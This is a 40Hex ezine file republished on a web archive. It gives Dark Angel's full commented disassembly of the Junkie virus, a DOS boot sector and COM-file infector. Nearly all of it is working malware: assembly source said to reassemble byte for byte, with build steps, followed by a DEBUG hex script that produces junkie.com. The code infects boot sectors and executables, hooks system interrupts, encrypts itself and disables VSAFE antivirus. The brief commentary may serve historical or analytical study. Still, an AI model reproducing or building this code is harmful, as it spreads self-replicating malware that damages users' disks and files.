Copy Link
Add to Bookmark
Report

40Hex Issue 14 File 006

eZine's profile picture
Published in 
40Hex
 · 13 Jul 2024

 
40Hex Number 14 Volume 5 Issue 1 File 006

Junkie virus

The Junkie virus is an unremarkable boot sector/COM infector that
has been making the rounds recently. There isn't really that much
to say about it, except that it sports a lot of poor coding that
manages to somehow work despite its shortcomings.

Dark Angel
Phalcon/Skism

---------------------------
.model tiny
.code
.radix 16
org 0
; Junkie virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1
; Byte for byte match when assembled with TASM 2.5
; To assemble, do the following:
; tasm /m junkie.asm
; tlink junkie.obj
; exe2bin junkie.exe junkie.com
junkie: mov si,1234 ; if loading from the boot
org $ - 2 ; sector, loaded at 0:7E00
decrypt_start dw offset begin_crypt + 100
mov cx,1F4
decrypt_loop: xor word ptr es:[si],1234
org $-2
cryptval dw 0
inc si
inc si
loop decrypt_loop

begin_crypt: mov ax,cs
cmp ax,0
je in_boot
mov di,100
mov word ptr [di],1234 ; restore original first 4
org $ - 2 ; bytes to the COM file
orig4_1 dw 20CDh
mov word ptr [di+2],1234
org $ - 2
orig4_2 dw 0
push cs di ; push cs:100
call delta
delta: pop bx
sub bx,delta - junkie ; sub bx,27
mov cl,4
shr bx,cl
add ax,bx
push ax
mov ax,offset highentry
push ax
retf

in_boot: mov ds,di
pop si
sub word ptr ds:413,3 ; reserve 3K for virus
mov ax,ds:413
mov bx,40 ; convert to K
mul bx
mov es,ax ; virus segment = es
mov cx,200 ; move virus up
cld
rep movsw

cli
mov di,offset old_i13
mov si,13*4
mov ax,offset i13
call swap_int

mov es:check_i21_flag,0

mov di,offset old_i1c
mov si,1c*4
mov ax,offset i1c
call swap_int ; timer ticks
sti

mov di,offset old_i21 ; save original int 21
mov si,21*4 ; handler address
movsw
movsw
pop di ; di = 7C00

push cs di es
mov ax,offset boot_finish
push ax cs
pop es
mov si,7C00 + 200 + BS_first_word - junkie
movsw ; restore first word
db 83,0C7h,5E ; add di,5E ; restore original BS code
call copy_20
retf ; jmp to boot_finish

db 'DrW-3'

i13: cmp ax,0201 ; read?
jnz jmp_i13
db 83,0F9h,1 ; cmp cx,1 ; boot sector?
jnz jmp_i13
db 83,0FAh,0 ; cmp dx,0 ; ditto
jnz jmp_i13
push ax bx cx dx di si ds es ; pusha, in a way
call infect_disk ; if so, infect the disk
pop es ds si di dx cx bx ax ; popa, of sorts
jmp_i13: jmp dword ptr cs:old_i13

old_i13 dw 0, 0

call_i13: pushf
call dword ptr cs:old_i13
retn

highentry: call uninstall_VSAFE
push ds es
xor ax,ax
mov ds,ax
push cs
pop es
mov di,offset old_i13 ; get original int 13
mov si,13*4 ; handler address
cld
movsw
movsw
jmp short COM_finish
nop ; Why does this still happen?
boot_finish: push ds es
COM_finish: mov dl,80 ; infect the hard drive
mov ah,2
call infect_disk
pop es ds
xor ax,ax
xor bx,bx
retf ; return to carrier

infect_disk: push cs
pop ds
push cs
pop es
call disk
jc inf_disk_exit
mov di,offset buffer + 60
cmp word ptr [si],5EEBh ; check if we're already
jne not_in_boot_yet ; in the boot sector
cmp word ptr [di],0FF33 ; xor di,di
je inf_disk_exit
not_in_boot_yet:cmp dl,0 ; first disk drive?
jne hard_disk ; if not, assume hard drive
cmp byte ptr ds:[buffer+15],0F0 ; else check media byte
je little_floppy ; to see if it is a 3.5" drive
cmp byte ptr ds:[buffer+15],0F9h ; 5.25" drive?
jne inf_disk_exit
large_floppy: mov cl,8 ; sector 8
jmp short floppy_disk
nop ; more NOP's for your money
little_floppy: mov ax,40
mov ds,ax
cmp byte ptr ds:90,97 ; check disk 0 status
je large_floppy
mov cl,11 ; write to last sector
floppy_disk: push cs
pop ds
mov ch,4F ; write to last track
jmp short floppy_setup
nop ; blah

hard_disk: mov cx,4 ; write to slack area on hd
jmp short write_to_disk
nop ; #$@*

floppy_setup: mov dh,1 ; head 1
write_to_disk: mov load_cx,cx ; remember where the rest of
mov load_dx,dx ; junkie will be written to
push dx cx si di
mov di,offset BS_first_word ; save old boot sector JMP
movsw ; construct
pop si ; si -> buffer+60
call copy_20 ; save old boot sector code
mov si,di ; si -> JBS_first_word
pop di ; di -> buffer
movsw ; encode our JMP to boot sector
call add_copy_20 ; write our code there

mov ax,301h ; write new BS to the disk
push ax
call disk

pop ax cx dx
mov al,2 ; junkie is two sectors long
mov bx,offset buffer ; write it encrypted to disk
jc inf_disk_exit
mov decrypt_start,7E00 + (begin_crypt - junkie)
call encrypt
call call_i13
inf_disk_exit: retn

disk: mov cx,1
mov dh,0
mov al,1
mov bx,offset buffer ; read/write to/from our buffer
mov si,bx
push dx
call call_i13
pop dx
retn

add_copy_20: db 83,0C7h,5E ; add di,5E ; move from first word to
; our code in boot sector
copy_20: cld
mov cx,10
rep movsw
retn

swap_int: push si
movsw
movsw
pop si
mov [si],ax
mov [si+2],es
retn

encrypt: push es ds ax bx cx dx si di
cld
xor ax,ax ; get timer count
int 1Ah

xor dx,cx ; more time stuff
mov bx,dx
mov ah,2
int 1Ah

mov dl,cl ; to calculate an encryption
xor bx,dx ; value (this is overkill!)
mov cryptval,bx

push cs
pop es
mov si,offset junkie
mov di,offset buffer
mov cx,200
rep movsw ; copy virus to the buffer

mov di,offset buffer ; and encrypt there
add di,begin_crypt - junkie
mov cx,(buffer - junkie) / 2; encrypting too much!
encrypt_loop: xor [di],bx
inc di
inc di
loop encrypt_loop

popa_exit: pop di si dx cx bx ax ds es
retn

uninstall_VSAFE:push es ds ax bx cx dx si di
mov dx,5945 ; uninstall VSAFE/VWATCH
mov ax,0FA01
int 16
jmp short popa_exit

i1c: cmp cs:check_i21_flag,1
je jmp_i1c
push ds es ax si di
mov si,21*4
xor ax,ax
mov ds,ax
mov ax,ds:20*4+2 ; get segment of int 20 handler
cmp ax,800 ; is it too high?
ja i1c_exit
cmp ax,0 ; or not set yet?
je i1c_exit
cmp [si+2],ax ; is segment of int 21 handler
jne i1c_exit ; the same?
cmp ds:27*4+2,ax ; same with int 27 handler
jne i1c_exit ; i.e. make sure it's dos!
cli
mov di,offset old_i21
push cs
pop es
mov ax,offset i21
call swap_int
mov cs:check_i21_flag,1
sti
i1c_exit: pop di si ax es ds
jmp_i1c: jmp dword ptr cs:old_i1c

old_i1c dw 0FF53, 0F000

i21: cmp ax,4B00 ; infect on: execute,
jz infect_file
cmp ah,3Dh ; open,
jz infect_file
cmp ah,6C ; extended open
jz infect_file
jmp_i21: jmp dword ptr cs:old_i21

i24: mov al,3
iret

infect_file: push ax bx cx dx di si ds es
cmp ah,6Ch ; extended open?
jne ptr_is_ds_dx
mov dx,si ; now ds:ds -> filename
ptr_is_ds_dx: call uninstall_VSAFE
mov cx,ax
xor ax,ax
push ds
mov ds,ax
les ax,dword ptr ds:24*4 ; get old crit error handler
mov word ptr ds:24*4,offset i24
mov word ptr ds:24*4+2,cs ; replace with ours
pop ds
push es ax ; save the old one for later

mov ax,3D00 ; open the file read/only
pushf
call dword ptr cs:old_i21
jc infect_file_exit

push cs
pop ds

mov bx,ax
push bx
mov ax,1220
int 2F
mov ax,1216
mov bl,es:[di]
int 2F ; es:di -> sft
pop bx
jc close_exit

cmp word ptr es:[di+28h],'OC'; infect only *.CO?
je infect_COM
jmp short close_exit
nop ; Yuck!
infect_COM: push es di
mov word ptr es:[di+2],2 ; set open mode to read/write
call infect
pop di es
or byte ptr es:[di+6],40 ; preserve file time/date

close_exit: mov ah,3Eh ; close file
int 21

infect_file_exit:
xor si,si
mov ds,si
pop ax
pop es
mov ds:24*4,ax ; restore int 24 handler
mov word ptr ds:24*4+2,es
pop es ds si di dx cx bx ax
jmp jmp_i21

infect: call move_SOF
mov cx,1Dh ; reading in more than we need!
mov ah,3F
mov dx,offset com_header
int 21
jc infect_exit

call go_EOF
mov cx,10
div cx
db 83,0FAh,3 ; cmp dx,3
jz infect_exit
mov cx,[com_header] ; move first four bytes to
mov dx,[com_header+2] ; the patch area
mov orig4_1,cx
mov orig4_2,dx
call go_EOF
cmp ax,1000 ; too small?
jb infect_exit
cmp ax,0EA60 ; too large?
ja infect_exit
call round_paragraph
push ax
add ax,100 + offset begin_crypt - offset junkie
mov decrypt_start,ax
pop ax
mov byte ptr com_header,0E9h
sub ax,3
mov word ptr com_header+1,ax

mov ah,40 ; writing more than we need!
mov cx,end_junkie - junkie
mov dx,offset buffer
call encrypt
int 21
jc infect_exit

mov al,0 ; go to the start of the file
call move_SOF
mov dx,offset com_header ; patch beginning of COM file
mov cx,4
mov ah,40
int 21
infect_exit: retn

round_paragraph:mov ah,al
mov al,10
sub al,ah
and ax,0F
mov dx,ax
mov al,1
jmp short move_fpointer
nop ; MASM NOP!

go_EOF: mov al,2
move_SOF: xor dx,dx
move_fpointer: xor cx,cx
mov ah,42h
int 21
retn

old_i21 dw 0, 0
dw 0 ; unused
check_i21_flag db 1

db 0, 'Dr White - Sweden 1994'

BS_first_word dw 0

old_BS_code db 20 dup (0) ; storage for original boot
; sector code from offset
; 60 to 80
JBS_first_word dw 05EEBh

start_Jboot: xor di,di
mov si,7C00
cli
mov sp,si ; set the stack to 7C00:7C00
mov ss,di
sti
mov es,di ; es = 7C00 (junkie work seg)
mov ax,202h ; read junkie into memory
mov bx,7C00 + 200 ; starting at 0:7E00
mov cx,4
org $ - 2
load_cx dw 4
mov dx,80
org $ - 2
load_dx dw 80
push si bx ; push 0:7C00
int 13
; the next line loads at offset 7C80 - 3
jmp $+3+200-80 ; jmp to 7E00 (decryptor)
end_Jboot: ; ($ - start_Jboot = 20)

db 'Junkie Virus - Written in Malmo...M01D'

dw -1 ; unused

com_header dw 0, 0
buffer: db 1bh dup (0)
end_junkie:
end junkie
---------------------------
N junkie.com
E 0100 BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C
E 0110 C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02
E 0120 00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03
E 0130 C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1
E 0140 13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA
E 0150 BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60
E 0160 03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF
E 0170 5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E
E 0180 07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D
E 0190 33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13
E 01A0 50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A
E 01B0 59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E
E 01C0 B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8
E 01D0 00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02
E 01E0 E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F
E 01F0 00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF
E 0200 74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E
E 0210 FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80
E 0220 3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9
E 0230 04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52
E 0240 51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8
E 0250 30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8
E 0260 03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3
E 0270 B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF
E 0280 5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E
E 0290 89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33
E 02A0 C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89
E 02B0 1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5
E 02C0 BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F
E 02D0 5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57
E 02E0 BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01
E 02F0 74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82
E 0300 00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19
E 0310 39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8
E 0320 6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF
E 0330 2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74
E 0340 0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53
E 0350 51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF
E 0360 8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B
E 0370 02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A
E 0380 03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12
E 0390 26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03
E 03A0 EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07
E 03B0 26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3
E 03C0 90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75
E 03D0 FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E
E 03E0 E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4
E 03F0 03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00
E 0400 3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F
E 0410 01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03
E 0420 B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0
E 0430 00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A
E 0440 E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0
E 0450 02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00
E 0460 01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65
E 0470 64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0490 00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00
E 04A0 7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9
E 04B0 04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B
E 04C0 69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74
E 04D0 65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30
E 04E0 31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0500 00 00 00
R CX
0403
W
Q
---------------------------

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT